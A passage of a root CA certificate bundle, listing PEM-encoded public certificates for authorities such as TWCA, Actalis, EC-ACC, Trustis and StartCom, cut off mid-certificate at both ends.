dmEuZXMwEgYDVR0TAQH/BAgwBgEB/wIBAjCCAjQGA1UdIASCAiswggInMIICIwYKKwYBBAG/VQIB ADCCAhMwggHoBggrBgEFBQcCAjCCAdoeggHWAEEAdQB0AG8AcgBpAGQAYQBkACAAZABlACAAQwBl AHIAdABpAGYAaQBjAGEAYwBpAPMAbgAgAFIAYQDtAHoAIABkAGUAIABsAGEAIABHAGUAbgBlAHIA YQBsAGkAdABhAHQAIABWAGEAbABlAG4AYwBpAGEAbgBhAC4ADQAKAEwAYQAgAEQAZQBjAGwAYQBy AGEAYwBpAPMAbgAgAGQAZQAgAFAAcgDhAGMAdABpAGMAYQBzACAAZABlACAAQwBlAHIAdABpAGYA aQBjAGEAYwBpAPMAbgAgAHEAdQBlACAAcgBpAGcAZQAgAGUAbAAgAGYAdQBuAGMAaQBvAG4AYQBt AGkAZQBuAHQAbwAgAGQAZQAgAGwAYQAgAHAAcgBlAHMAZQBuAHQAZQAgAEEAdQB0AG8AcgBpAGQA YQBkACAAZABlACAAQwBlAHIAdABpAGYAaQBjAGEAYwBpAPMAbgAgAHMAZQAgAGUAbgBjAHUAZQBu AHQAcgBhACAAZQBuACAAbABhACAAZABpAHIAZQBjAGMAaQDzAG4AIAB3AGUAYgAgAGgAdAB0AHAA OgAvAC8AdwB3AHcALgBwAGsAaQAuAGcAdgBhAC4AZQBzAC8AYwBwAHMwJQYIKwYBBQUHAgEWGWh0 dHA6Ly93d3cucGtpLmd2YS5lcy9jcHMwHQYDVR0OBBYEFHs100DSHHgZZu90ECjcPk+yeAT8MIGV BgNVHSMEgY0wgYqAFHs100DSHHgZZu90ECjcPk+yeAT8oWykajBoMQswCQYDVQQGEwJFUzEfMB0G A1UEChMWR2VuZXJhbGl0YXQgVmFsZW5jaWFuYTEPMA0GA1UECxMGUEtJR1ZBMScwJQYDVQQDEx5S b290IENBIEdlbmVyYWxpdGF0IFZhbGVuY2lhbmGCBDtF5WgwDQYJKoZIhvcNAQEFBQADggEBACRh TvW1yEICKrNcda3FbcrnlD+laJWIwVTAEGmiEi8YPyVQqHxK6sYJ2fR1xkDar1CdPaUWu20xxsdz Ckj+IHLtb8zog2EWRpABlUt9jppSCS/2bxzkoXHPjCpaF3ODR00PNvsETUlR4hTJZGH71BTg9J63 NI8KJr2XXPR5OkowGcytT6CYirQxlyric21+eLj4iIlPsSKRZEv1UN4D2+XFducTZnV+ZfsBn5OH iJ35Rld8TWCvmHMTI6QgkYH60GFmuH3Rr9ZvHmw96RH9qfmCIoaZM3Fa6hlXPZHNqcCjbgcTpsnt +GijnsNacgmHKNHEc8RzGF9QdRYxn7fofMM= -----END CERTIFICATE----- A-Trust-nQual-03 ================ -----BEGIN CERTIFICATE----- MIIDzzCCAregAwIBAgIDAWweMA0GCSqGSIb3DQEBBQUAMIGNMQswCQYDVQQGEwJBVDFIMEYGA1UE Cgw/QS1UcnVzdCBHZXMuIGYuIFNpY2hlcmhlaXRzc3lzdGVtZSBpbSBlbGVrdHIuIERhdGVudmVy a2VociBHbWJIMRkwFwYDVQQLDBBBLVRydXN0LW5RdWFsLTAzMRkwFwYDVQQDDBBBLVRydXN0LW5R dWFsLTAzMB4XDTA1MDgxNzIyMDAwMFoXDTE1MDgxNzIyMDAwMFowgY0xCzAJBgNVBAYTAkFUMUgw RgYDVQQKDD9BLVRydXN0IEdlcy4gZi4gU2ljaGVyaGVpdHNzeXN0ZW1lIGltIGVsZWt0ci4gRGF0 ZW52ZXJrZWhyIEdtYkgxGTAXBgNVBAsMEEEtVHJ1c3QtblF1YWwtMDMxGTAXBgNVBAMMEEEtVHJ1 c3QtblF1YWwtMDMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCtPWFuA/OQO8BBC4SA zewqo51ru27CQoT3URThoKgtUaNR8t4j8DRE/5TrzAUjlUC5B3ilJfYKvUWG6Nm9wASOhURh73+n yfrBJcyFLGM/BWBzSQXgYHiVEEvc+RFZznF/QJuKqiTfC0Li21a8StKlDJu3Qz7dg9MmEALP6iPE SU7l0+m0iKsMrmKS1GWH2WrX9IWf5DMiJaXlyDO6w8dB3F/GaswADm0yqLaHNgBid5seHzTLkDx4 iHQF63n1k3Flyp3HaxgtPVxO59X4PzF9j4fsCiIvI+n+u33J4PTs63zEsMMtYrWacdaxaujs2e3V cuy+VwHOBVWf3tFgiBCzAgMBAAGjNjA0MA8GA1UdEwEB/wQFMAMBAf8wEQYDVR0OBAoECERqlWdV eRFPMA4GA1UdDwEB/wQEAwIBBjANBgkqhkiG9w0BAQUFAAOCAQEAVdRU0VlIXLOThaq/Yy/kgM40 ozRiPvbY7meIMQQDbwvUB/tOdQ/TLtPAF8fGKOwGDREkDg6lXb+MshOWcdzUzg4NCmgybLlBMRmr sQd7TZjTXLDR8KdCoLXEjq/+8T/0709GAHbrAvv5ndJAlseIOrifEXnzgGWovR/TeIGgUUw3tKZd JXDRZslo+S4RFGjxVJgIrCaSD96JntT6s3kr0qN51OyLrIdTaEJMUVF0HhsnLuP1Hyl0Te2v9+GS mYHovjrHF1D2t8b8m7CKa9aIA5GPBnc6hQLdmNVDeD/GMBWsm2vLV7eJUYs66MmEDNuxUCAKGkq6 ahq97BvIxYSazQ== -----END CERTIFICATE----- TWCA Root Certification Authority ================================= -----BEGIN CERTIFICATE----- MIIDezCCAmOgAwIBAgIBATANBgkqhkiG9w0BAQUFADBfMQswCQYDVQQGEwJUVzESMBAGA1UECgwJ VEFJV0FOLUNBMRAwDgYDVQQLDAdSb290IENBMSowKAYDVQQDDCFUV0NBIFJvb3QgQ2VydGlmaWNh dGlvbiBBdXRob3JpdHkwHhcNMDgwODI4MDcyNDMzWhcNMzAxMjMxMTU1OTU5WjBfMQswCQYDVQQG EwJUVzESMBAGA1UECgwJVEFJV0FOLUNBMRAwDgYDVQQLDAdSb290IENBMSowKAYDVQQDDCFUV0NB IFJvb3QgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK AoIBAQCwfnK4pAOU5qfeCTiRShFAh6d8WWQUe7UREN3+v9XAu1bihSX0NXIP+FPQQeFEAcK0HMMx QhZHhTMidrIKbw/lJVBPhYa+v5guEGcevhEFhgWQxFnQfHgQsIBct+HHK3XLfJ+utdGdIzdjp9xC oi2SBBtQwXu4PhvJVgSLL1KbralW6cH/ralYhzC2gfeXRfwZVzsrb+RH9JlF/h3x+JejiB03HFyP 4HYlmlD4oFT/RJB2I9IyxsOrBr/8+7/zrX2SYgJbKdM1o5OaQ2RgXbL6Mv87BK9NQGr5x+PvI/1r y+UPizgN7gr8/g+YnzAx3WxSZfmLgb4i4RxYA7qRG4kHAgMBAAGjQjBAMA4GA1UdDwEB/wQEAwIB BjAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBRqOFsmjd6LWvJPelSDGRjjCDWmujANBgkqhkiG 9w0BAQUFAAOCAQEAPNV3PdrfibqHDAhUaiBQkr6wQT25JmSDCi/oQMCXKCeCMErJk/9q56YAf4lC mtYR5VPOL8zy2gXE/uJQxDqGfczafhAJO5I1KlOy/usrBdlsXebQ79NqZp4VKIV66IIArB6nCWlW QtNoURi+VJq/REG6Sb4gumlc7rh3zc5sH62Dlhh9DrUUOYTxKOkto557HnpyWoOzeW/vtPzQCqVY T0bf+215WfKEIlKuD8z7fDvnaspHYcN6+NOSBB+4IIThNlQWx0DeO4pz3N/GCUzf7Nr/1FNCocny Yh0igzyXxfkZYiesZSLX0zzG5Y6yU8xJzrww/nsOM5D77dIUkR8Hrw== -----END CERTIFICATE----- Security Communication RootCA2 ============================== -----BEGIN CERTIFICATE----- MIIDdzCCAl+gAwIBAgIBADANBgkqhkiG9w0BAQsFADBdMQswCQYDVQQGEwJKUDElMCMGA1UEChMc U0VDT00gVHJ1c3QgU3lzdGVtcyBDTy4sTFRELjEnMCUGA1UECxMeU2VjdXJpdHkgQ29tbXVuaWNh dGlvbiBSb290Q0EyMB4XDTA5MDUyOTA1MDAzOVoXDTI5MDUyOTA1MDAzOVowXTELMAkGA1UEBhMC SlAxJTAjBgNVBAoTHFNFQ09NIFRydXN0IFN5c3RlbXMgQ08uLExURC4xJzAlBgNVBAsTHlNlY3Vy aXR5IENvbW11bmljYXRpb24gUm9vdENBMjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB ANAVOVKxUrO6xVmCxF1SrjpDZYBLx/KWvNs2l9amZIyoXvDjChz335c9S672XewhtUGrzbl+dp++ +T42NKA7wfYxEUV0kz1XgMX5iZnK5atq1LXaQZAQwdbWQonCv/Q4EpVMVAX3NuRFg3sUZdbcDE3R 3n4MqzvEFb46VqZab3ZpUql6ucjrappdUtAtCms1FgkQhNBqyjoGADdH5H5XTz+L62e4iKrFvlNV spHEfbmwhRkGeC7bYRr6hfVKkaHnFtWOojnflLhwHyg/i/xAXmODPIMqGplrz95Zajv8bxbXH/1K EOtOghY6rCcMU/Gt1SSwawNQwS08Ft1ENCcadfsCAwEAAaNCMEAwHQYDVR0OBBYEFAqFqXdlBZh8 QIH4D5csOPEK7DzPMA4GA1UdDwEB/wQEAwIBBjAPBgNVHRMBAf8EBTADAQH/MA0GCSqGSIb3DQEB CwUAA4IBAQBMOqNErLlFsceTfsgLCkLfZOoc7llsCLqJX2rKSpWeeo8HxdpFcoJxDjrSzG+ntKEj u/Ykn8sX/oymzsLS28yN/HH8AynBbF0zX2S2ZTuJbxh2ePXcokgfGT+Ok+vx+hfuzU7jBBJV1uXk 3fs+BXziHV7Gp7yXT2g69ekuCkO2r1dcYmh8t/2jioSgrGK+KwmHNPBqAbubKVY8/gA3zyNs8U6q tnRGEmyR7jTV7JqR50S+kDFy1UkC9gLl9B/rfNmWVan/7Ir5mUf/NVoCqgTLiluHcSmRvaS0eg29 mvVXIwAHIRc/SjnRBUkLp7Y3gaVdjKozXoEofKd9J+sAro03 -----END CERTIFICATE----- EC-ACC ====== -----BEGIN CERTIFICATE----- MIIFVjCCBD6gAwIBAgIQ7is969Qh3hSoYqwE893EATANBgkqhkiG9w0BAQUFADCB8zELMAkGA1UE BhMCRVMxOzA5BgNVBAoTMkFnZW5jaWEgQ2F0YWxhbmEgZGUgQ2VydGlmaWNhY2lvIChOSUYgUS0w ODAxMTc2LUkpMSgwJgYDVQQLEx9TZXJ2ZWlzIFB1YmxpY3MgZGUgQ2VydGlmaWNhY2lvMTUwMwYD VQQLEyxWZWdldSBodHRwczovL3d3dy5jYXRjZXJ0Lm5ldC92ZXJhcnJlbCAoYykwMzE1MDMGA1UE CxMsSmVyYXJxdWlhIEVudGl0YXRzIGRlIENlcnRpZmljYWNpbyBDYXRhbGFuZXMxDzANBgNVBAMT BkVDLUFDQzAeFw0wMzAxMDcyMzAwMDBaFw0zMTAxMDcyMjU5NTlaMIHzMQswCQYDVQQGEwJFUzE7 MDkGA1UEChMyQWdlbmNpYSBDYXRhbGFuYSBkZSBDZXJ0aWZpY2FjaW8gKE5JRiBRLTA4MDExNzYt SSkxKDAmBgNVBAsTH1NlcnZlaXMgUHVibGljcyBkZSBDZXJ0aWZpY2FjaW8xNTAzBgNVBAsTLFZl Z2V1IGh0dHBzOi8vd3d3LmNhdGNlcnQubmV0L3ZlcmFycmVsIChjKTAzMTUwMwYDVQQLEyxKZXJh cnF1aWEgRW50aXRhdHMgZGUgQ2VydGlmaWNhY2lvIENhdGFsYW5lczEPMA0GA1UEAxMGRUMtQUND MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAsyLHT+KXQpWIR4NA9h0X84NzJB5R85iK w5K4/0CQBXCHYMkAqbWUZRkiFRfCQ2xmRJoNBD45b6VLeqpjt4pEndljkYRm4CgPukLjbo73FCeT ae6RDqNfDrHrZqJyTxIThmV6PttPB/SnCWDaOkKZx7J/sxaVHMf5NLWUhdWZXqBIoH7nF2W4onW4 HvPlQn2v7fOKSGRdghST2MDk/7NQcvJ29rNdQlB50JQ+awwAvthrDk4q7D7SzIKiGGUzE3eeml0a E9jD2z3Il3rucO2n5nzbcc8tlGLfbdb1OL4/pYUKGbio2Al1QnDE6u/LDsg0qBIimAy4E5S2S+zw 0JDnJwIDAQABo4HjMIHgMB0GA1UdEQQWMBSBEmVjX2FjY0BjYXRjZXJ0Lm5ldDAPBgNVHRMBAf8E BTADAQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQUoMOLRKo3pUW/l4Ba0fF4opvpXY0wfwYD VR0gBHgwdjB0BgsrBgEEAfV4AQMBCjBlMCwGCCsGAQUFBwIBFiBodHRwczovL3d3dy5jYXRjZXJ0 Lm5ldC92ZXJhcnJlbDA1BggrBgEFBQcCAjApGidWZWdldSBodHRwczovL3d3dy5jYXRjZXJ0Lm5l dC92ZXJhcnJlbCAwDQYJKoZIhvcNAQEFBQADggEBAKBIW4IB9k1IuDlVNZyAelOZ1Vr/sXE7zDkJ lF7W2u++AVtd0x7Y/X1PzaBB4DSTv8vihpw3kpBWHNzrKQXlxJ7HNd+KDM3FIUPpqojlNcAZQmNa Al6kSBg6hW/cnbw/nZzBh7h6YQjpdwt/cKt63dmXLGQehb+8dJahw3oS7AwaboMMPOhyRp/7SNVe l+axofjk70YllJyJ22k4vuxcDlbHZVHlUIiIv0LVKz3l+bqeLrPK9HOSAgu+TGbrIP65y7WZf+a2 E/rKS03Z7lNGBjvGTq2TWoF+bCpLagVFjPIhpDGQh2xlnJ2lYJU6Un/10asIbvPuW/mIPX64b24D 5EI= -----END CERTIFICATE----- Hellenic Academic and Research Institutions RootCA 2011 ======================================================= -----BEGIN CERTIFICATE----- MIIEMTCCAxmgAwIBAgIBADANBgkqhkiG9w0BAQUFADCBlTELMAkGA1UEBhMCR1IxRDBCBgNVBAoT O0hlbGxlbmljIEFjYWRlbWljIGFuZCBSZXNlYXJjaCBJbnN0aXR1dGlvbnMgQ2VydC4gQXV0aG9y aXR5MUAwPgYDVQQDEzdIZWxsZW5pYyBBY2FkZW1pYyBhbmQgUmVzZWFyY2ggSW5zdGl0dXRpb25z IFJvb3RDQSAyMDExMB4XDTExMTIwNjEzNDk1MloXDTMxMTIwMTEzNDk1MlowgZUxCzAJBgNVBAYT AkdSMUQwQgYDVQQKEztIZWxsZW5pYyBBY2FkZW1pYyBhbmQgUmVzZWFyY2ggSW5zdGl0dXRpb25z IENlcnQuIEF1dGhvcml0eTFAMD4GA1UEAxM3SGVsbGVuaWMgQWNhZGVtaWMgYW5kIFJlc2VhcmNo IEluc3RpdHV0aW9ucyBSb290Q0EgMjAxMTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB AKlTAOMupvaO+mDYLZU++CwqVE7NuYRhlFhPjz2L5EPzdYmNUeTDN9KKiE15HrcS3UN4SoqS5tdI 1Q+kOilENbgH9mgdVc04UfCMJDGFr4PJfel3r+0ae50X+bOdOFAPplp5kYCvN66m0zH7tSYJnTxa 71HFK9+WXesyHgLacEnsbgzImjeN9/E2YEsmLIKe0HjzDQ9jpFEw4fkrJxIH2Oq9GGKYsFk3fb7u 8yBRQlqD75O6aRXxYp2fmTmCobd0LovUxQt7L/DICto9eQqakxylKHJzkUOap9FNhYS5qXSPFEDH 3N6sQWRstBmbAmNtJGSPRLIl6s5ddAxjMlyNh+UCAwEAAaOBiTCBhjAPBgNVHRMBAf8EBTADAQH/ MAsGA1UdDwQEAwIBBjAdBgNVHQ4EFgQUppFC/RNhSiOeCKQp5dgTBCPuQSUwRwYDVR0eBEAwPqA8 MAWCAy5ncjAFggMuZXUwBoIELmVkdTAGggQub3JnMAWBAy5ncjAFgQMuZXUwBoEELmVkdTAGgQQu b3JnMA0GCSqGSIb3DQEBBQUAA4IBAQAf73lB4XtuP7KMhjdCSk4cNx6NZrokgclPEg8hwAOXhiVt XdMiKahsog2p6z0GW5k6x8zDmjR/qw7IThzh+uTczQ2+vyT+bOdrwg3IBp5OjWEopmr95fZi6hg8 TqBTnbI6nOulnJEWtk2C4AwFSKls9cz4y51JtPACpf1wA+2KIaWuE4ZJwzNzvoc7dIsXRSZMFpGD /md9zU1jZ/rzAxKWeAaNsWftjj++n08C9bMJL/NMh98qy5V8AcysNnq/onN694/BtZqhFLKPM58N 7yLcZnuEvUUXBj08yrl3NI/K6s8/MT7jiOOASSXIl7WdmplNsDz4SgCbZN2fOUvRJ9e4 -----END CERTIFICATE----- Actalis Authentication Root CA ============================== -----BEGIN CERTIFICATE----- MIIFuzCCA6OgAwIBAgIIVwoRl0LE48wwDQYJKoZIhvcNAQELBQAwazELMAkGA1UEBhMCSVQxDjAM BgNVBAcMBU1pbGFuMSMwIQYDVQQKDBpBY3RhbGlzIFMucC5BLi8wMzM1ODUyMDk2NzEnMCUGA1UE AwweQWN0YWxpcyBBdXRoZW50aWNhdGlvbiBSb290IENBMB4XDTExMDkyMjExMjIwMloXDTMwMDky MjExMjIwMlowazELMAkGA1UEBhMCSVQxDjAMBgNVBAcMBU1pbGFuMSMwIQYDVQQKDBpBY3RhbGlz IFMucC5BLi8wMzM1ODUyMDk2NzEnMCUGA1UEAwweQWN0YWxpcyBBdXRoZW50aWNhdGlvbiBSb290 IENBMIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAp8bEpSmkLO/lGMWwUKNvUTufClrJ wkg4CsIcoBh/kbWHuUA/3R1oHwiD1S0eiKD4j1aPbZkCkpAW1V8IbInX4ay8IMKx4INRimlNAJZa by/ARH6jDuSRzVju3PvHHkVH3Se5CAGfpiEd9UEtL0z9KK3giq0itFZljoZUj5NDKd45RnijMCO6 zfB9E1fAXdKDa0hMxKufgFpbOr3JpyI/gCczWw63igxdBzcIy2zSekciRDXFzMwujt0q7bd9Zg1f YVEiVRvjRuPjPdA1YprbrxTIW6HMiRvhMCb8oJsfgadHHwTrozmSBp+Z07/T6k9QnBn+locePGX2 oxgkg4YQ51Q+qDp2JE+BIcXjDwL4k5RHILv+1A7TaLndxHqEguNTVHnd25zS8gebLra8Pu2Fbe8l EfKXGkJh90qX6IuxEAf6ZYGyojnP9zz/GPvG8VqLWeICrHuS0E4UT1lF9gxeKF+w6D9Fz8+vm2/7 hNN3WpVvrJSEnu68wEqPSpP4RCHiMUVhUE4Q2OM1fEwZtN4Fv6MGn8i1zeQf1xcGDXqVdFUNaBr8 EBtiZJ1t4JWgw5QHVw0U5r0F+7if5t+L4sbnfpb2U8WANFAoWPASUHEXMLrmeGO89LKtmyuy/uE5 jF66CyCU3nuDuP/jVo23Eek7jPKxwV2dpAtMK9myGPW1n0sCAwEAAaNjMGEwHQYDVR0OBBYEFFLY iDrIn3hm7YnzezhwlMkCAjbQMA8GA1UdEwEB/wQFMAMBAf8wHwYDVR0jBBgwFoAUUtiIOsifeGbt ifN7OHCUyQICNtAwDgYDVR0PAQH/BAQDAgEGMA0GCSqGSIb3DQEBCwUAA4ICAQALe3KHwGCmSUyI WOYdiPcUZEim2FgKDk8TNd81HdTtBjHIgT5q1d07GjLukD0R0i70jsNjLiNmsGe+b7bAEzlgqqI0 JZN1Ut6nna0Oh4lScWoWPBkdg/iaKWW+9D+a2fDzWochcYBNy+A4mz+7+uAwTc+G02UQGRjRlwKx K3JCaKygvU5a2hi/a5iB0P2avl4VSM0RFbnAKVy06Ij3Pjaut2L9HmLecHgQHEhb2rykOLpn7VU+ Xlff1ANATIGk0k9jpwlCCRT8AKnCgHNPLsBA2RF7SOp6AsDT6ygBJlh0wcBzIm2Tlf05fbsq4/aC 4yyXX04fkZT6/iyj2HYauE2yOE+b+h1IYHkm4vP9qdCa6HCPSXrW5b0KDtst842/6+OkfcvHlXHo 2qN8xcL4dJIEG4aspCJTQLas/kx2z/uUMsA1n3Y/buWQbqCmJqK4LL7RK4X9p2jIugErsWx0Hbhz lefut8cl8ABMALJ+tguLHPPAUJ4lueAI3jZm/zel0btUZCzJJ7VLkn5l/9Mt4blOvH+kQSGQQXem OR/qnuOf0GZvBeyqdn6/axag67XH/JJULysRJyU3eExRarDzzFhdFPFqSBX/wge2sY0PjlxQRrM9 vwGYT7JZVEc+NHt4bVaTLnPqZih4zR0Uv6CPLy64Lo7yFIrM6bV8+2ydDKXhlg== -----END CERTIFICATE----- Trustis FPS Root CA =================== -----BEGIN CERTIFICATE----- MIIDZzCCAk+gAwIBAgIQGx+ttiD5JNM2a/fH8YygWTANBgkqhkiG9w0BAQUFADBFMQswCQYDVQQG EwJHQjEYMBYGA1UEChMPVHJ1c3RpcyBMaW1pdGVkMRwwGgYDVQQLExNUcnVzdGlzIEZQUyBSb290 IENBMB4XDTAzMTIyMzEyMTQwNloXDTI0MDEyMTExMzY1NFowRTELMAkGA1UEBhMCR0IxGDAWBgNV BAoTD1RydXN0aXMgTGltaXRlZDEcMBoGA1UECxMTVHJ1c3RpcyBGUFMgUm9vdCBDQTCCASIwDQYJ KoZIhvcNAQEBBQADggEPADCCAQoCggEBAMVQe547NdDfxIzNjpvto8A2mfRC6qc+gIMPpqdZh8mQ RUN+AOqGeSoDvT03mYlmt+WKVoaTnGhLaASMk5MCPjDSNzoiYYkchU59j9WvezX2fihHiTHcDnlk H5nSW7r+f2C/revnPDgpai/lkQtV/+xvWNUtyd5MZnGPDNcE2gfmHhjjvSkCqPoc4Vu5g6hBSLwa cY3nYuUtsuvffM/bq1rKMfFMIvMFE/eC+XN5DL7XSxzA0RU8k0Fk0ea+IxciAIleH2ulrG6nS4zt o3Lmr2NNL4XSFDWaLk6M6jKYKIahkQlBOrTh4/L68MkKokHdqeMDx4gVOxzUGpTXn2RZEm0CAwEA AaNTMFEwDwYDVR0TAQH/BAUwAwEB/zAfBgNVHSMEGDAWgBS6+nEleYtXQSUhhgtx67JkDoshZzAd BgNVHQ4EFgQUuvpxJXmLV0ElIYYLceuyZA6LIWcwDQYJKoZIhvcNAQEFBQADggEBAH5Y//01GX2c GE+esCu8jowU/yyg2kdbw++BLa8F6nRIW/M+TgfHbcWzk88iNVy2P3UnXwmWzaD+vkAMXBJV+JOC yinpXj9WV4s4NvdFGkwozZ5BuO1WTISkQMi4sKUraXAEasP41BIy+Q7DsdwyhEQsb8tGD+pmQQ9P 8Vilpg0ND2HepZ5dfWWhPBfnqFVO76DH7cZEf1T1o+CP8HxVIo8ptoGj4W1OLBuAZ+ytIJ8MYmHV l/9D7S3B2l0pKoU/rGXuhg8FjZBf3+6f9L/uHfuY5H+QK4R4EA5sSVPvFVtlRkpdr7r7OnIdzfYl iB6XzCGcKQENZetX2fNXlrtIzYE= -----END CERTIFICATE----- StartCom Certification Authority ================================ -----BEGIN CERTIFICATE----- MIIHhzCCBW+gAwIBAgIBLTANBgkqhkiG9w0BAQsFADB9MQswCQYDVQQGEwJJTDEWMBQGA1UEChMN U3RhcnRDb20gTHRkLjErMCkGA1UECxMiU2VjdXJlIERpZ2l0YWwgQ2VydGlmaWNhdGUgU2lnbmlu ZzEpMCcGA1UEAxMgU3RhcnRDb20gQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwHhcNMDYwOTE3MTk0 NjM3WhcNMzYwOTE3MTk0NjM2WjB9MQswCQYDVQQGEwJJTDEWMBQGA1UEChMNU3RhcnRDb20gTHRk LjErMCkGA1UECxMiU2VjdXJlIERpZ2l0YWwgQ2VydGlmaWNhdGUgU2lnbmluZzEpMCcGA1UEAxMg U3RhcnRDb20gQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAw ggIKAoICAQDBiNsJvGxGfHiflXu1M5DycmLWwTYgIiRezul38kMKogZkpMyONvg45iPwbm2xPN1y o4UcodM9tDMr0y+v/uqwQVlntsQGfQqedIXWeUyAN3rfOQVSWff0G0ZDpNKFhdLDcfN1YjS6LIp/ Ho/u7TTQEceWzVI9ujPW3U3eCztKS5/CJi/6tRYccjV3yjxd5srhJosaNnZcAdt0FCX+7bWgiA/d eMotHweXMAEtcnn6RtYTKqi5pquDSR3l8u/d5AGOGAqPY1MWhWKpDhk6zLVmpsJrdAfkK+F2PrRt 2PZE4XNiHzvEvqBTViVsUQn3qqvKv3b9bZvzndu/PWa8DFaqr5hIlTpL36dYUNk4dalb6kMMAv+Z 6+hsTXBbKWWc3apdzK8BMewM69KN6Oqce+Zu9ydmDBpI125C4z/eIT574Q1w+2OqqGwaVLRcJXrJ osmLFqa7LH4XXgVNWG4SHQHuEhANxjJ/GP/89PrNbpHoNkm+Gkhpi8KWTRoSsmkXwQqQ1vp5Iki/ untp+HDH+no32NgN0nZPV/+Qt+OR0t3vwmC3Zzrd/qqc8NSLf3Iizsafl7b4r4qgEKjZ+xjGtrVc UjyJthkqcwEKDwOzEmDyei+B26Nu/yYwl/WL3YlXtq09s68rxbd2AvCl1iuahhQqcvbjM4xdCUsT 37uMdBNSSwIDAQABo4ICEDCCAgwwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYD VR0OBBYEFE4L7xqkQFulF2mHMMo0aEPQQa7yMB8GA1UdIwQYMBaAFE4L7xqkQFulF2mHMMo0aEPQ Qa7yMIIBWgYDVR0gBIIBUTCCAU0wggFJBgsrBgEEAYG1NwEBATCCATgwLgYIKwYBBQUHAgEWImh0 dHA6Ly93d3cuc3RhcnRzc2wuY29tL3BvbGljeS5wZGYwNAYIKwYBBQUHAgEWKGh0dHA6Ly93d3cu c3RhcnRzc2wuY29tL2ludGVybWVkaWF0ZS5wZGYwgc8GCCsGAQUFBwICMIHCMCcWIFN0YXJ0IENv bW1lcmNpYWwgKFN0YXJ0Q29tKSBMdGQuMAMCAQEagZZMaW1pdGVkIExpYWJpbGl0eSwgcmVhZCB0 aGUgc2VjdGlvbiAqTGVnYWwgTGltaXRhdGlvbnMqIG9mIHRoZSBTdGFydENvbSBDZXJ0aWZpY2F0 aW9uIEF1dGhvcml0eSBQb2xpY3kgYXZhaWxhYmxlIGF0IGh0dHA6Ly93d3cuc3RhcnRzc2wuY29t L3BvbGljeS5wZGYwEQYJYIZIAYb4QgEBBAQDAgAHMDgGCWCGSAGG+EIBDQQrFilTdGFydENvbSBG cmVlIFNTTCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTANBgkqhkiG9w0BAQsFAAOCAgEAjo/n3JR5 fPGFf59Jb2vKXfuM/gTFwWLRfUKKvFO3lANmMD+x5wqnUCBVJX92ehQN6wQOQOY+2IirByeDqXWm N3PH/UvSTa0XQMhGvjt/UfzDtgUx3M2FIk5xt/JxXrAaxrqTi3iSSoX4eA+D/i+tLPfkpLst0OcN Org+zvZ49q5HJMqjNTbOx8aHmNrs++myziebiMMEofYLWWivydsQD032ZGNcpRJvkrKTlMeIFw6T tn5ii5B/q06f/ON1FE8qMt9bDeD1e5MNq6HPh+GlBEXoPBKlCcWw0bdT82AUuoVpaiF8H3VhFyAX e2w7QSlc4axa0c2Mm+tgHRns9+Ww2vl5GKVFP0lDV9LdJNUso/2RjSe15esUBppMeyG7Oq0wBhjA 2MFrLH9ZXF2RsXAiV+uKa0hK1Q8p7MZAwC+ITGgBF3f0JBlPvfrhsiAhS90a2Cl9qrjeVOwhVYBs HvUwyKMQ5bLmKhQxw4UtjJixhlpPiVktucf3HMiKf8CdBUrmQk9io20ppB+Fq9vlgcitKj1MXVuE JnHEhV5xJMqlG2zYYdMa4FTbzrqpMrUi9nNBCV24F10OD5mQ1kfabwo6YigUZ4LZ8dCAWZvLMdib D4x3TrVoivJs9iQOLWxwxXPR3hTQcY+203sC9uO41Alua551hDnmfyWl8kgAwKQB2j8= -----END CERTIFICATE----- StartCom Certification Authority G2 =================================== -----BEGIN CERTIFICATE----- MIIFYzCCA0ugAwIBAgIBOzANBgkqhkiG9w0BAQsFADBTMQswCQYDVQQGEwJJTDEWMBQGA1UEChMN U3RhcnRDb20gTHRkLjEsMCoGA1UEAxMjU3RhcnRDb20gQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkg RzIwHhcNMTAwMTAxMDEwMDAxWhcNMzkxMjMxMjM1OTAxWjBTMQswCQYDVQQGEwJJTDEWMBQGA1UE ChMNU3RhcnRDb20gTHRkLjEsMCoGA1UEAxMjU3RhcnRDb20gQ2VydGlmaWNhdGlvbiBBdXRob3Jp dHkgRzIwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQC2iTZbB7cgNr2Cu+EWIAOVeq8O o1XJJZlKxdBWQYeQTSFgpBSHO839sj60ZwNq7eEPS8CRhXBF4EKe3ikj1AENoBB5uNsDvfOpL9HG 4A/LnooUCri99lZi8cVytjIl2bLzvWXFDSxu1ZJvGIsAQRSCb0AgJnooD/Uefyf3lLE3PbfHkffi Aez9lInhzG7TNtYKGXmu1zSCZf98Qru23QumNK9LYP5/Q0kGi4xDuFby2X8hQxfqp0iVAXV16iul Q5XqFYSdCI0mblWbq9zSOdIxHWDirMxWRST1HFSr7obdljKF+ExP6JV2tgXdNiNnvP8V4so75qbs O+wmETRIjfaAKxojAuuKHDp2KntWFhxyKrOq42ClAJ8Em+JvHhRYW6Vsi1g8w7pOOlz34ZYrPu8H vKTlXcxNnw3h3Kq74W4a7I/htkxNeXJdFzULHdfBR9qWJODQcqhaX2YtENwvKhOuJv4KHBnM0D4L nMgJLvlblnpHnOl68wVQdJVznjAJ85eCXuaPOQgeWeU1FEIT/wCc976qUM/iUUjXuG+v+E5+M5iS FGI6dWPPe/regjupuznixL0sAA7IF6wT700ljtizkC+p2il9Ha90OrInwMEePnWjFqmveiJdnxMa z6eg6+OGCtP95paV1yPIN93EfKo2rJgaErHgTuixO/XWb/Ew1wIDAQABo0IwQDAPBgNVHRMBAf8E 